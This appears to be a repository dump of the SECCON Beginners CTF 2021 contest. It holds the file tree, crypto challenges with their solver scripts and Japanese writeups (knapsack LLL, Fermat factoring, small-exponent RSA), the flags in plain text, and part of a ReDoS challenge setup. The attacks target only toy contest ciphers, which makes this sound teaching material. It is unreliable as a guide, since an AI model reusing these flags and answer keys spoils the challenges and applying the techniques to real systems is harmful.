├── LICENSE ├── README.md ├── crypto ├── Field_trip │ ├── README.md │ ├── files │ │ ├── output.txt │ │ └── problem.py │ ├── flag.py │ ├── solver │ │ └── solve.sage │ └── writeup.md ├── Logical_SEESAW │ ├── README.md │ ├── files │ │ ├── output.txt │ │ └── problem.py │ ├── flag.py │ ├── solver │ │ └── solve.py │ └── writeup.md ├── gfm │ ├── FLAG │ ├── README.md │ ├── files │ │ ├── output.txt │ │ └── problem.sage │ ├── solver │ │ └── solve.sage │ └── writeup.md ├── imaginary │ ├── FLAG │ ├── README.md │ ├── build │ │ ├── Dockerfile │ │ ├── app.py │ │ ├── requirements.txt │ │ └── secret.py │ ├── files │ │ └── app.py │ ├── solver │ │ ├── Dockerfile │ │ └── solve.py │ └── writeup.md ├── p-8RSA │ ├── README.md │ ├── files │ │ ├── output.txt │ │ └── problem.py │ ├── flag.py │ ├── solver │ │ └── solve.py │ └── writeup.md └── simple_RSA │ ├── README.md │ ├── files │ ├── output.txt │ └── problem.py │ ├── flag.py │ ├── solver │ └── solve.py │ └── writeup.md ├── misc ├── Mail_Address_Validator │ ├── Dockerfile │ ├── FLAG │ ├── README.md │ ├── build │ │ ├── flag.txt │ │ ├── init.sh │ │ ├── main.rb │ │ ├── misc.xinetd │ │ └── redir.sh │ ├── docker-compose.yml │ ├── files │ │ └── main.rb │ └── solver │ │ ├── Dockerfile │ │ └── solve.py ├── depixelization │ ├── FLAG │ ├── README.md │ ├── build │ │ ├── output.png │ │ └── pixelization.py │ ├── files │ │ ├── output.png │ │ └── pixelization.py │ ├── solver │ │ └── solver.py │ └── writeup.md ├── fly │ ├── FLAG │ ├── README.md │ ├── files │ │ └── fly │ │ │ ├── Config.exe │ │ │ ├── Data.wolf │ │ │ ├── Game.exe │ │ │ └── GuruguruSMF4.dll │ └── writeup.md ├── git-leak │ ├── FLAG │ ├── README.md │ ├── files │ │ └── git-leak.zip │ └── writeup.md └── writeme │ ├── FLAG │ ├── README.md │ ├── build │ ├── Dockerfile │ ├── docker-compose.yml │ ├── flag │ └── writeme.py │ ├── files │ ├── Dockerfile │ └── writeme.py │ ├── solver │ ├── Dockerfile │ └── solver.py │ └── writeup.md ├── pwnable ├── 2021_emulator │ ├── Dockerfile │ ├── FLAG │ ├── README.md │ ├── build │ │ ├── Makefile │ │ ├── banner.txt │ │ ├── chall │ │ ├── emulator.h │ │ ├── init.sh │ │ ├── instruction.h │ │ ├── main.c │ │ ├── pwn.xinetd │ │ └── redir.sh │ ├── docker-compose.yml │ ├── files │ │ └── 2021_emulator │ │ │ ├── Makefile │ │ │ ├── banner.txt │ │ │ ├── chall │ │ │ ├── emulator.h │ │ │ ├── instruction.h │ │ │ └── main.c │ ├── solver │ │ ├── Dockerfile │ │ ├── chall │ │ └── solve.py │ └── writeup.md ├── beginners_rop │ ├── Dockerfile │ ├── FLAG │ ├── README.md │ ├── build │ │ ├── Makefile │ │ ├── chall │ │ ├── flag │ │ ├── init.sh │ │ ├── pwn.xinetd │ │ ├── redir.sh │ │ └── src.c │ ├── docker-compose.yml │ ├── files │ │ └── beginners_rop │ │ │ ├── Makefile │ │ │ ├── chall │ │ │ ├── libc-2.27.so │ │ │ └── src.c │ ├── solver │ │ ├── Dockerfile │ │ ├── chall │ │ ├── libc-2.27.so │ │ └── solve.py │ └── writeup.md ├── freeless │ ├── Dockerfile │ ├── FLAG │ ├── README.md │ ├── build │ │ ├── Makefile │ │ ├── flag.txt │ │ ├── init.sh │ │ ├── main.c │ │ ├── pwn.xinetd │ │ └── redir.sh │ ├── docker-compose.yml │ ├── files │ │ ├── chall │ │ ├── libc-2.31.so │ │ └── main.c │ └── solver │ │ ├── Dockerfile │ │ ├── libc-2.31.so │ │ └── solve.py ├── rewriter │ ├── Dockerfile │ ├── FLAG │ ├── README.md │ ├── build │ │ ├── Makefile │ │ ├── chall │ │ ├── flag.txt │ │ ├── init.sh │ │ ├── pwn.xinetd │ │ ├── redir.sh │ │ └── src.c │ ├── docker-compose.yml │ ├── files │ │ └── rewriter │ │ │ ├── chall │ │ │ └── src.c │ ├── solver │ │ ├── Dockerfile │ │ ├── chall │ │ └── solve.py │ └── writeup.md └── uma_catch │ ├── Dockerfile │ ├── FLAG │ ├── README.md │ ├── build │ ├── Makefile │ ├── chall │ ├── flag │ ├── init.sh │ ├── pwn.xinetd │ ├── redir.sh │ └── src.c │ ├── docker-compose.yml │ ├── files │ └── uma_catch │ │ ├── chall │ │ ├── libc-2.27.so │ │ └── src.c │ └── solver │ ├── Dockerfile │ ├── chall │ ├── libc-2.27.so │ └── solve.py ├── reversing ├── be_angry │ ├── FLAG │ ├── README.md │ ├── build │ │ ├── Makefile │ │ ├── chall │ │ ├── flag.txt │ │ └── src.c │ ├── files │ │ └── chall │ ├── solver │ │ ├── chall │ │ └── solve.py │ └── writeup.md ├── children │ ├── FLAG │ ├── README.md │ ├── build │ │ ├── Makefile │ │ └── src.c │ ├── files │ │ └── children │ └── writeup.md ├── firmware │ ├── FLAG │ ├── README.md │ ├── build │ │ ├── README.md │ │ ├── file │ │ │ ├── ascii.txt │ │ │ ├── bootstrap-grid.css │ │ │ ├── certificate.pem │ │ │ ├── fa-regular-400.woff2 │ │ │ ├── file.svg │ │ │ ├── firm │ │ │ ├── folder.svg │ │ │ ├── index.html │ │ │ ├── logo.jpg │ │ │ ├── logo.png │ │ │ ├── plus-square.svg │ │ │ ├── square.svg │ │ │ └── star.svg │ │ ├── firmware │ │ │ ├── README.txt │ │ │ └── firmware.bin │ │ └── src │ │ │ ├── ascii.txt │ │ │ ├── gen.py │ │ │ └── main.c │ ├── files │ │ └── firmware │ │ │ ├── README.txt │ │ │ └── firmware.bin │ ├── solver │ │ └── solver.py │ └── writeup.md ├── only_read │ ├── FLAG │ ├── README.md │ ├── build │ │ ├── Makefile │ │ ├── chall │ │ ├── randomize.py │ │ └── src.c │ ├── files │ │ └── chall │ ├── solver │ │ ├── chall │ │ ├── solve.py │ │ └── solve.sh │ └── writeup.md └── please_not_trace_me │ ├── FLAG │ ├── README.md │ ├── build │ ├── Makefile │ ├── chall │ └── src.c │ ├── files │ └── chall │ ├── solver │ ├── chall │ └── patch │ └── writeup.md └── web ├── cant_use_db ├── FLAG ├── README.md ├── build │ ├── .env │ ├── app │ │ ├── Dockerfile │ │ ├── app.py │ │ ├── requirements.txt │ │ ├── static │ │ │ ├── css │ │ │ │ ├── grid.css │ │ │ │ ├── ress.min.css │ │ │ │ └── style.css │ │ │ └── img │ │ │ │ └── ramen.jpg │ │ ├── templates │ │ │ └── index.html │ │ └── uwsgi.ini │ ├── docker-compose.yml │ └── nginx │ │ ├── Dockerfile │ │ ├── certs │ │ ├── server.crt │ │ └── server.key │ │ └── nginx.conf ├── files │ ├── .env │ ├── app │ │ ├── Dockerfile │ │ ├── app.py │ │ ├── requirements.txt │ │ ├── static │ │ │ ├── css │ │ │ │ ├── grid.css │ │ │ │ ├── ress.min.css │ │ │ │ └── style.css │ │ │ └── img │ │ │ │ └── ramen.jpg │ │ ├── templates │ │ │ └── index.html │ │ └── uwsgi.ini │ ├── docker-compose.yml │ └── nginx │ │ ├── Dockerfile │ │ └── nginx.conf ├── solver │ ├── Dockerfile │ ├── requirements.txt │ └── solver.py └── writeup.md ├── check_url ├── FLAG ├── README.md ├── build │ ├── apache │ │ ├── Dockerfile │ │ ├── certs │ │ │ ├── server.crt │ │ │ └── server.key │ │ └── default-ssl.conf │ ├── docker-compose.yml │ └── public │ │ ├── LICENSE │ │ ├── css │ │ ├── materialize.min.css │ │ └── style.css │ │ ├── index.php │ │ └── js │ │ ├── init.js │ │ └── materialize.min.js ├── files │ └── index.php ├── solver │ ├── Dockerfile │ ├── requirements.txt │ └── solver.py └── writeup.md ├── json ├── FLAG ├── README.md ├── build │ ├── api │ │ ├── Dockerfile │ │ ├── go.mod │ │ ├── go.sum │ │ └── main.go │ ├── bff │ │ ├── Dockerfile │ │ ├── go.mod │ │ ├── go.sum │ │ ├── main.go │ │ └── templates │ │ │ ├── error.tmpl │ │ │ └── index.html │ ├── docker-compose.yml │ └── nginx │ │ ├── Dockerfile │ │ └── default.conf ├── files │ └── json │ │ ├── api │ │ ├── Dockerfile │ │ ├── go.mod │ │ ├── go.sum │ │ └── main.go │ │ ├── bff │ │ ├── Dockerfile │ │ ├── go.mod │ │ ├── go.sum │ │ ├── main.go │ │ └── templates │ │ │ ├── error.tmpl │ │ │ └── index.html │ │ ├── docker-compose.yml │ │ └── nginx │ │ ├── Dockerfile │ │ └── default.conf ├── solver │ ├── Dockerfile │ ├── requirements.txt │ └── solver.py └── writeup.md ├── magic ├── FLAG ├── README.md ├── build │ ├── crawler │ │ ├── .dockerignore │ │ ├── Dockerfile │ │ ├── dumb-init_1.2.5_x86_64 │ │ ├── index.js │ │ ├── package.json │ │ └── yarn.lock │ ├── docker-compose.yml │ ├── init │ │ └── init.sql │ ├── magic │ │ ├── .dockerignore │ │ ├── Dockerfile │ │ ├── app.js │ │ ├── bin │ │ │ ├── wait │ │ │ └── www │ │ ├── docker-compose.yml │ │ ├── init │ │ │ └── init.sql │ │ ├── package.json │ │ ├── public │ │ │ └── static │ │ │ │ ├── bulma.min.css │ │ │ │ └── index.js │ │ ├── views │ │ │ ├── error.ejs │ │ │ ├── index.ejs │ │ │ ├── login.ejs │ │ │ ├── register.ejs │ │ │ └── report.ejs │ │ └── yarn.lock │ └── nginx │ │ ├── Dockerfile │ │ ├── default.conf │ │ └── html │ │ └── static │ │ ├── bulma.min.css │ │ └── index.js ├── files │ ├── crawl.js │ └── magic │ │ ├── .dockerignore │ │ ├── Dockerfile │ │ ├── app.js │ │ ├── bin │ │ ├── wait │ │ └── www │ │ ├── docker-compose.yml │ │ ├── init │ │ └── init.sql │ │ ├── package.json │ │ ├── public │ │ └── static │ │ │ ├── bulma.min.css │ │ │ └── index.js │ │ ├── views │ │ ├── error.ejs │ │ ├── index.ejs │ │ ├── login.ejs │ │ ├── register.ejs │ │ └── report.ejs │ │ └── yarn.lock ├── solver │ ├── Dockerfile │ ├── requirements.txt │ └── solver.py └── writeup.md ├── osoba ├── FLAG ├── README.md ├── build │ ├── app │ │ ├── Dockerfile │ │ ├── flag │ │ └── src │ │ │ ├── app.py │ │ │ ├── public │ │ │ ├── index.html │ │ │ ├── kikin.html │ │ │ ├── neck.html │ │ │ └── wip.html │ │ │ ├── requirements.txt │ │ │ └── uwsgi.ini │ ├── docker-compose.yml │ └── nginx │ │ └── nginx.conf ├── files │ └── osoba │ │ ├── app │ │ ├── Dockerfile │ │ ├── flag │ │ └── src │ │ │ ├── app.py │ │ │ ├── public │ │ │ ├── index.html │ │ │ ├── kikin.html │ │ │ ├── neck.html │ │ │ └── wip.html │ │ │ ├── requirements.txt │ │ │ └── uwsgi.ini │ │ ├── docker-compose.yml │ │ └── nginx │ │ └── nginx.conf ├── solver │ ├── Dockerfile │ └── solver.py └── writeup.md └── werewolf ├── FLAG ├── README.md ├── build ├── .env ├── app │ ├── Dockerfile │ ├── app.py │ ├── requirements.txt │ ├── static │ │ ├── FORTUNE_TELLER.png │ │ ├── KNIGHT.png │ │ ├── MADMAN.png │ │ ├── PSYCHIC.png │ │ ├── VILLAGER.png │ │ └── WEREWOLF.png │ ├── templates │ │ ├── index.html │ │ └── result.html │ └── uwsgi.ini ├── docker-compose.yml └── nginx │ └── nginx.conf ├── files └── app.py ├── solver ├── .env ├── Dockerfile └── solver.py └── writeup.md /README.md: -------------------------------------------------------------------------------- 1 | # SECCON Beginners CTF 2021 2 | ## Detail 3 | - Date: 2021/5/22 14:00 JST - 2021/5/23 14:00 JST 4 | - Style: Jeopardy 5 | 6 | ## License 7 | - [CC BY-NC-ND 4.0](https://creativecommons.org/licenses/by-nc-nd/4.0/deed) 8 | 9 | ## Links 10 | - https://www.seccon.jp/2021/seccon_beginners/_seccon_beginners_ctf_2021.html 11 | - https://twitter.com/ctf4b/status/1396330564920045570 -------------------------------------------------------------------------------- /crypto/Field_trip/README.md: -------------------------------------------------------------------------------- 1 | # Field_trip 2 | 3 | ### 問題文 4 | Someone is getting ready for a field trip. 5 | 6 | ### 難易度 7 | Medium 8 | 9 | ### 作問にあたって 10 | ナップザック暗号をただLLLで殴るだけ。 11 | -------------------------------------------------------------------------------- /crypto/Field_trip/files/problem.py: -------------------------------------------------------------------------------- 1 | from Crypto.Util.number import * 2 | from random import getrandbits 3 | from flag import flag 4 | 5 | 6 | flag = bytes_to_long(flag.encode("utf-8")) 7 | flag = bin(flag)[2:] 8 | length = len(flag) 9 | 10 | A = [] 11 | a, b = 0, 0 12 | for _ in range(length): 13 | a += getrandbits(32) + b 14 | b += a 15 | A.append(a) 16 | 17 | p = getStrongPrime(512) 18 | q = getStrongPrime(512) 19 | 20 | assert q > sum(A) 21 | 22 | pub_key = [a * p % q for a in A] 23 | cipher = sum([int(flag[i]) * pub_key[i] for i in range(length)]) 24 | 25 | f = open("output.txt", "w") 26 | f.write("pub_key = " + str(pub_key) + "\n") 27 | f.write("cipher = " + str(cipher) + "\n") 28 | f.close() 29 | 30 | -------------------------------------------------------------------------------- /crypto/Field_trip/flag.py: -------------------------------------------------------------------------------- 1 | flag = "ctf4b{Y35!_I_ju5t_n33d3d_th353_num63r5!}" 2 | -------------------------------------------------------------------------------- /crypto/Field_trip/solver/solve.sage: -------------------------------------------------------------------------------- 1 | from Crypto.Util.number import * 2 | # Chabnge the file name from "output.txt" ot "output.py" 3 | from output import pub_key, cipher 4 | 5 | def create_matrix(pub, c): 6 | N = len(pub) 7 | m_id = matrix.identity(N) * 2 8 | m = matrix(ZZ, 1, N + 1, pub[:] + [-c]) 9 | B = m_id.augment(matrix(ZZ, N, 1, [-1] * N)) 10 | m = m.stack(B) 11 | return m 12 | 13 | def vec(matrix): 14 | for i in matrix.columns(): 15 | if not(i[0]) and all([(j == -1 or j == 1) for j in i[1:]]): 16 | return i 17 | 18 | M = create_matrix(pub_key, cipher) 19 | LLL_M = M.transpose().LLL().transpose() 20 | V = vec(LLL_M) 21 | 22 | flag = "".join(list(map(str, V))) 23 | flag = flag.replace("0", "") 24 | flag = flag.replace("-1", "0") 25 | 26 | print(long_to_bytes(int(flag, base=2))) 27 | -------------------------------------------------------------------------------- /crypto/Field_trip/writeup.md: -------------------------------------------------------------------------------- 1 | # Writeup - Field_trip 2 | 典型的なナップザック暗号。 3 | 4 | 密度を計算すると`d = 0.6232`なので、低密度攻撃(LO法, CLOS法)を用いて解読可能である。 5 | 6 | 基底`M`を 7 | 8 | 9 | 10 | とおく。そして`M`が貼る格子をLLLで殴れば、適当な`i`において`M[i][0]`が0でそれ以外が1か-1のベクトルが得られ、それがフラグとなる。 11 | -------------------------------------------------------------------------------- /crypto/Logical_SEESAW/README.md: -------------------------------------------------------------------------------- 1 | # Logical_SEESAW 2 | 3 | ### 問題文 4 | We have an innovative seesaw! 5 | 6 | ### 難易度 7 | Beginner 8 | 9 | ### 作問にあたって 10 | パズル問をつくった(つもり)です。基本的なコードリーディングとand演算or演算の特徴がわかれば解ける想定です。 11 | -------------------------------------------------------------------------------- /crypto/Logical_SEESAW/files/problem.py: -------------------------------------------------------------------------------- 1 | from Crypto.Util.number import * 2 | from random import random, getrandbits 3 | from flag import flag 4 | 5 | flag = bytes_to_long(flag.encode("utf-8")) 6 | length = flag.bit_length() 7 | key = getrandbits(length) 8 | while not length == key.bit_length(): 9 | key = getrandbits(length) 10 | 11 | flag = list(bin(flag)[2:]) 12 | key = list(bin(key)[2:]) 13 | 14 | cipher_L = [] 15 | 16 | for _ in range(16): 17 | cipher = flag[:] 18 | m = 0.5 19 | 20 | for i in range(length): 21 | n = random() 22 | if n > m: 23 | cipher[i] = str(eval(cipher[i] + "&" + key[i])) 24 | 25 | cipher_L.append("".join(cipher)) 26 | 27 | 28 | print("cipher =", cipher_L) 29 | -------------------------------------------------------------------------------- /crypto/Logical_SEESAW/flag.py: -------------------------------------------------------------------------------- 1 | flag = "ctf4b{Sh3_54w_4_SEESAW,_5h3_54id_50}" 2 | -------------------------------------------------------------------------------- /crypto/Logical_SEESAW/writeup.md: -------------------------------------------------------------------------------- 1 | # Writeup - Logical_SEESAW 2 | 3 | 4 | `flag`の各bitに対して適用確立0.5で`flag`と`key`のand演算を行っている。 5 | 6 | and演算の場合、真理値表は以下の通りになり`cipher[i][j]`が0のとき`flag[i][j]`も8割0になる。さらに`cipher[i][j]`が1のとき`flag[i][j]`は確実に1になる。 7 | 8 | 9 | | flag | key | n>m | cipher | 10 | |-|-|-|-| 11 | |0|0|0|0| 12 | |0|0|1|0| 13 | |0|1|0|0| 14 | |0|1|1|0| 15 | |1|0|0|1| 16 | |1|0|1|0| 17 | |1|1|0|1| 18 | |1|1|1|1| 19 | 20 | 21 | なので、16個の暗号文の各bitにおいて1つでもbitが立ってたら1を、すべて0なら0。言い換えると`cipher[0, 15)`の論理和を計算することで、平文を復号できる。 22 | -------------------------------------------------------------------------------- /crypto/gfm/FLAG: -------------------------------------------------------------------------------- 1 | ctf4b{d1d_y0u_pl4y_w1th_m4tr1x_4nd_g4l0is_f1eld?} -------------------------------------------------------------------------------- /crypto/gfm/README.md: -------------------------------------------------------------------------------- 1 | # GFM 2 | 3 | ## 問題文 4 | * Github Flavored Markdown 5 | * Google Facebook Microsoft 6 | * ...? 7 | 8 | ## 難易度 9 | Easy 10 | -------------------------------------------------------------------------------- /crypto/gfm/files/problem.sage: -------------------------------------------------------------------------------- 1 | 2 | FLAG = b'' 3 | 4 | SIZE = 8 5 | p = random_prime(2^128) 6 | MS = MatrixSpace(GF(p), SIZE) 7 | 8 | key = MS.random_element() 9 | while key.rank() != SIZE: 10 | key = MS.random_element() 11 | 12 | M = copy(MS.zero()) 13 | for i in range(SIZE): 14 | for j in range(SIZE): 15 | n = i * SIZE + j 16 | if n < len(FLAG): 17 | M[i, j] = FLAG[n] 18 | else: 19 | M[i, j] = GF(p).random_element() 20 | 21 | enc = key * M * key 22 | 23 | print('p:', p) 24 | print('key:', key) 25 | print('enc:', enc) 26 | 27 | -------------------------------------------------------------------------------- /crypto/gfm/writeup.md: -------------------------------------------------------------------------------- 1 | # Writeup - GFM 2 | 有限体上の行列を使った暗号 3 | 4 | 逆行列を掛けるだけで解けるが、有限体として逆行列を計算する必要がある。 5 | 元々のスクリプトがSageなのでこれを流用してinverseを取るのが一番楽。 6 | -------------------------------------------------------------------------------- /crypto/imaginary/FLAG: -------------------------------------------------------------------------------- 1 | ctf4b{yeah_you_are_a_member_of_imaginary_number_club} -------------------------------------------------------------------------------- /crypto/imaginary/README.md: -------------------------------------------------------------------------------- 1 | # Imaginary 2 | ## 問題文 3 | 虚数大好きクラブへようこそ! 4 | 5 | 接続方法: 6 | ``` 7 | nc [host] [port] 8 | ``` 9 | 10 | ## 難易度 11 | Medium 12 | -------------------------------------------------------------------------------- /crypto/imaginary/build/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.9.4-alpine 2 | 3 | WORKDIR /usr/src/app 4 | COPY . . 5 | RUN apk add gcc g++ make libffi-dev openssl-dev git 6 | RUN pip install -r requirements.txt 7 | 8 | ENV CTF4B_HOST "0.0.0.0" 9 | ENV CTF4B_PORT "1337" 10 | 11 | CMD ["python", "./app.py"] 12 | -------------------------------------------------------------------------------- /crypto/imaginary/build/requirements.txt: -------------------------------------------------------------------------------- 1 | pycryptodome 2 | -------------------------------------------------------------------------------- /crypto/imaginary/build/secret.py: -------------------------------------------------------------------------------- 1 | key = b'Js1_8SHSJgoa&a!j' 2 | flag = 'ctf4b{yeah_you_are_a_member_of_imaginary_number_club}' 3 | -------------------------------------------------------------------------------- /crypto/imaginary/solver/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.9.4-alpine 2 | 3 | WORKDIR /usr/src/app 4 | COPY solve.py . 5 | 6 | CMD ["python", "./solve.py"] 7 | -------------------------------------------------------------------------------- /crypto/imaginary/solver/solve.py: -------------------------------------------------------------------------------- 1 | import os 2 | import socket 3 | import re 4 | 5 | def recvuntil(s, delim=b'\n'): 6 | buf = b'' 7 | while delim not in buf: 8 | buf += s.recv(1) 9 | return buf 10 | 11 | 12 | if __name__ == '__main__': 13 | host = os.getenv('CTF4B_HOST') 14 | port = os.getenv('CTF4B_PORT') 15 | 16 | if not host: 17 | host = 'localhost' 18 | 19 | if not port: 20 | port = '1337' 21 | 22 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 23 | s.connect((host, int(port))) 24 | 25 | print(recvuntil(s, b'>').decode()) 26 | s.send(b'3\n') 27 | print(recvuntil(s, b'>').decode()) 28 | s.send(b'4690bcdd9077065bf5f52712003dd51060d56314d465f7bf6dd0279e1b95f9511416d2af204cbdd814a9fc126b4889742e348d960da74ebe98c2f8096ad2438060d56314d465f7bf6dd0279e1b95f951f46e71373d85fcc3bf4c2b07aa496b19\n') 29 | 30 | print(recvuntil(s, b'>').decode()) 31 | s.send(b'5\n') 32 | output = recvuntil(s, b'>').decode() 33 | print(output) 34 | 35 | print(re.findall('ctf4b\{.*?\}', output)[0]) 36 | -------------------------------------------------------------------------------- /crypto/p-8RSA/README.md: -------------------------------------------------------------------------------- 1 | # p-8RSA 2 | ## 問題文 3 | It looks someone is encrypting it with RSA. 4 | 5 | ## 難易度 6 | Hard 7 | 8 | ## 作問にあたって 9 | ただフェルマー法をやるだけと見せかけて```GCD(phi, e) == e```ってなってる。平たく言えば [カーマイケルの定理](https://ja.wikipedia.org/wiki/%E3%83%95%E3%82%A7%E3%83%AB%E3%83%9E%E3%83%BC%E3%81%AE%E5%B0%8F%E5%AE%9A%E7%90%86#%E3%82%AB%E3%83%BC%E3%83%9E%E3%82%A4%E3%82%B1%E3%83%AB%E3%81%AE%E5%AE%9A%E7%90%86)を知っていますか?っていう問題。 -------------------------------------------------------------------------------- /crypto/p-8RSA/files/output.txt: -------------------------------------------------------------------------------- 1 | n = 169221770188000341507764005330769042705223611712308424479120192596136318818708135716157255550936563268500310852894489839470320516645317338473018150885997977008925839939560590924435380239519554475266121835753044660177349444503693993991253475530436734034224314165897550185719665717183285653938232013807360458249 2 | e = 17 3 | c = 100233131931360278332734341652304555814094487252151131735286074616555402795190797647001889669472290770925839013131356212574455274690422113278015571750653365512998669453161955302008599029919101244702933443124944274359143831492874463245444294673660944786888148517110942002726017336219552279179125115273728023902 4 | -------------------------------------------------------------------------------- /crypto/p-8RSA/files/problem.py: -------------------------------------------------------------------------------- 1 | from Crypto.Util.number import * 2 | from random import getrandbits 3 | from os import urandom 4 | from flag import flag 5 | 6 | 7 | def gen_primes(bits, e): 8 | q = getStrongPrime(bits) 9 | p = q 10 | while True: 11 | p = p-8 # p-8 12 | phi = (p - 1) * (q - 1) 13 | if isPrime(p) and GCD(phi, e) != 1: 14 | break 15 | return p, q 16 | 17 | flag = flag.encode("utf-8") + urandom(64) 18 | flag = bytes_to_long(flag) 19 | 20 | e = 17 21 | p, q = gen_primes(512, e) 22 | n = p * q 23 | 24 | print("n =", n) 25 | print("e =", e) 26 | print("c =", pow(flag, e, n)) 27 | -------------------------------------------------------------------------------- /crypto/p-8RSA/flag.py: -------------------------------------------------------------------------------- 1 | flag = "ctf4b{4r3_y0u_up5id3_d0wn?_Fr0m_6310w?_0r_60th?}" 2 | -------------------------------------------------------------------------------- /crypto/p-8RSA/solver/solve.py: -------------------------------------------------------------------------------- 1 | from Crypto.Util.number import * 2 | from gmpy2 import isqrt 3 | 4 | n = 169221770188000341507764005330769042705223611712308424479120192596136318818708135716157255550936563268500310852894489839470320516645317338473018150885997977008925839939560590924435380239519554475266121835753044660177349444503693993991253475530436734034224314165897550185719665717183285653938232013807360458249 5 | e = 17 6 | c = 100233131931360278332734341652304555814094487252151131735286074616555402795190797647001889669472290770925839013131356212574455274690422113278015571750653365512998669453161955302008599029919101244702933443124944274359143831492874463245444294673660944786888148517110942002726017336219552279179125115273728023902 7 | 8 | i = isqrt(n) + 1 9 | j = isqrt(i ** 2 - n) 10 | Z = i ** 2 - n - j ** 2 11 | 12 | assert Z == 0 13 | 14 | p, q = j + i, i - j 15 | assert n == p * q 16 | 17 | X = (p - 1) * (q - 1) // GCD(p - 1, q - 1) 18 | L = pow(2, X // e, n) 19 | d = inverse(e, X // e) 20 | 21 | for i in range(e): 22 | flag = long_to_bytes(pow(c, d, n) * pow(L, i, n) % n) 23 | if b"ctf4b" in flag: 24 | print(flag) 25 | break 26 | 27 | -------------------------------------------------------------------------------- /crypto/p-8RSA/writeup.md: -------------------------------------------------------------------------------- 1 | # Writeup - p-8RSA 2 | 近い素数`p`, `q`と`GCD(phi, e) != 1`が特徴のRSA暗号。 3 | 4 | 素数`p`, `q`が近い値だとわかっているとき、フェルマー法で素因数分解することができる。 5 | 6 | `GCD(phi, e) != 1`のときの複合方法は、カーマイケルの定理を使っていい感じに復号する。具体的な式はソルバ参照。 7 | 8 | -------------------------------------------------------------------------------- /crypto/simple_RSA/README.md: -------------------------------------------------------------------------------- 1 | # simple_RSA 2 | ## 問題文 3 | Let's encrypt it with RSA! 4 | 5 | ## 難易度 6 | Beginner 7 | 8 | ## 作問にあたって 9 | `m^e < n`問題をつくりました。 10 | -------------------------------------------------------------------------------- /crypto/simple_RSA/files/output.txt: -------------------------------------------------------------------------------- 1 | n = 17686671842400393574730512034200128521336919569735972791676605056286778473230718426958508878942631584704817342304959293060507614074800553670579033399679041334863156902030934895197677543142202110781629494451453351396962137377411477899492555830982701449692561594175162623580987453151328408850116454058162370273736356068319648567105512452893736866939200297071602994288258295231751117991408160569998347640357251625243671483903597718500241970108698224998200840245865354411520826506950733058870602392209113565367230443261205476636664049066621093558272244061778795051583920491406620090704660526753969180791952189324046618283 2 | e = 3 3 | c = 213791751530017111508691084168363024686878057337971319880256924185393737150704342725042841488547315925971960389230453332319371876092968032513149023976287158698990251640298360876589330810813199260879441426084508864252450551111064068694725939412142626401778628362399359107132506177231354040057205570428678822068599327926328920350319336256613 4 | -------------------------------------------------------------------------------- /crypto/simple_RSA/files/problem.py: -------------------------------------------------------------------------------- 1 | from Crypto.Util.number import * 2 | from flag import flag 3 | 4 | flag = bytes_to_long(flag.encode("utf-8")) 5 | 6 | p = getPrime(1024) 7 | q = getPrime(1024) 8 | n = p * q 9 | e = 3 10 | 11 | assert 2046 < n.bit_length() 12 | assert 375 == flag.bit_length() 13 | 14 | print("n =", n) 15 | print("e =", e) 16 | print("c =", pow(flag, e, n)) 17 | -------------------------------------------------------------------------------- /crypto/simple_RSA/flag.py: -------------------------------------------------------------------------------- 1 | flag = "ctf4b{0,1,10,11...It's_so_annoying.___I'm_done}" -------------------------------------------------------------------------------- /crypto/simple_RSA/solver/solve.py: -------------------------------------------------------------------------------- 1 | from ushigai.root import cubic_root 2 | from Crypto.Util.number import * 3 | 4 | n = 17686671842400393574730512034200128521336919569735972791676605056286778473230718426958508878942631584704817342304959293060507614074800553670579033399679041334863156902030934895197677543142202110781629494451453351396962137377411477899492555830982701449692561594175162623580987453151328408850116454058162370273736356068319648567105512452893736866939200297071602994288258295231751117991408160569998347640357251625243671483903597718500241970108698224998200840245865354411520826506950733058870602392209113565367230443261205476636664049066621093558272244061778795051583920491406620090704660526753969180791952189324046618283 5 | e = 3 6 | c = 213791751530017111508691084168363024686878057337971319880256924185393737150704342725042841488547315925971960389230453332319371876092968032513149023976287158698990251640298360876589330810813199260879441426084508864252450551111064068694725939412142626401778628362399359107132506177231354040057205570428678822068599327926328920350319336256613 7 | 8 | flag = cubic_root(c) 9 | 10 | print(long_to_bytes(flag)) 11 | 12 | -------------------------------------------------------------------------------- /crypto/simple_RSA/writeup.md: -------------------------------------------------------------------------------- 1 | # Writeup - simple_RSA 2 | 3 | 4 | `n`のbit長が`flag`のbit長の3倍以上であることから`m^e < n`であると推測できる。 5 | 6 | `m^e < n`のとき、暗号化の計算式は`c=m^e`と等価になる。なので暗号文の`e`乗根を計算することで復号できる。 7 | -------------------------------------------------------------------------------- /misc/Mail_Address_Validator/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:18.04 2 | 3 | ENV DEBIAN_FRONTEND nointeractive 4 | 5 | RUN apt-get -y update --fix-missing && apt-get -y upgrade 6 | RUN apt-get -y install xinetd ruby 7 | RUN groupadd -r misc && useradd -r -g misc misc 8 | 9 | ADD build/misc.xinetd /etc/xinetd.d/misc 10 | ADD build/init.sh /etc/init.sh 11 | ADD build/redir.sh /home/misc/redir.sh 12 | RUN chmod 550 /home/misc/redir.sh 13 | RUN chmod 700 /etc/init.sh 14 | RUN chmod 1733 /tmp /var/tmp /dev/shm 15 | 16 | ADD FLAG /home/misc/flag.txt 17 | ADD files/main.rb /home/misc/main.rb 18 | RUN chmod 440 /home/misc/flag.txt 19 | RUN chmod 550 /home/misc/main.rb 20 | 21 | RUN chown -R root:misc /home/misc 22 | 23 | RUN ls /home/misc -lh 24 | 25 | RUN service xinetd restart 26 | 27 | -------------------------------------------------------------------------------- /misc/Mail_Address_Validator/FLAG: -------------------------------------------------------------------------------- 1 | ctf4b{1t_15_n0t_0nly_th3_W3b_th4t_15_4ff3ct3d_by_ReDoS} 2 | -------------------------------------------------------------------------------- /misc/Mail_Address_Validator/README.md: -------------------------------------------------------------------------------- 1 | # Mail Address Validator 2 | 3 | ## 問題文 4 | あなたのメールアドレスが正しいか調べます. 5 | 6 | ## 難易度 7 | **Easy** 8 | 9 | ## 作問にあたって 10 | ReDoSの影響を考えなきゃいけないのはWebだけじゃないのに,ReDoSといえばWeb問みたいな風潮がある気がするので. 11 | -------------------------------------------------------------------------------- /misc/Mail_Address_Validator/build/flag.txt: -------------------------------------------------------------------------------- 1 | ctf4b{1t_15_n0t_0nly_th3_W3b_th4t_15_4ff3ct3d_by_ReDoS} 2 | 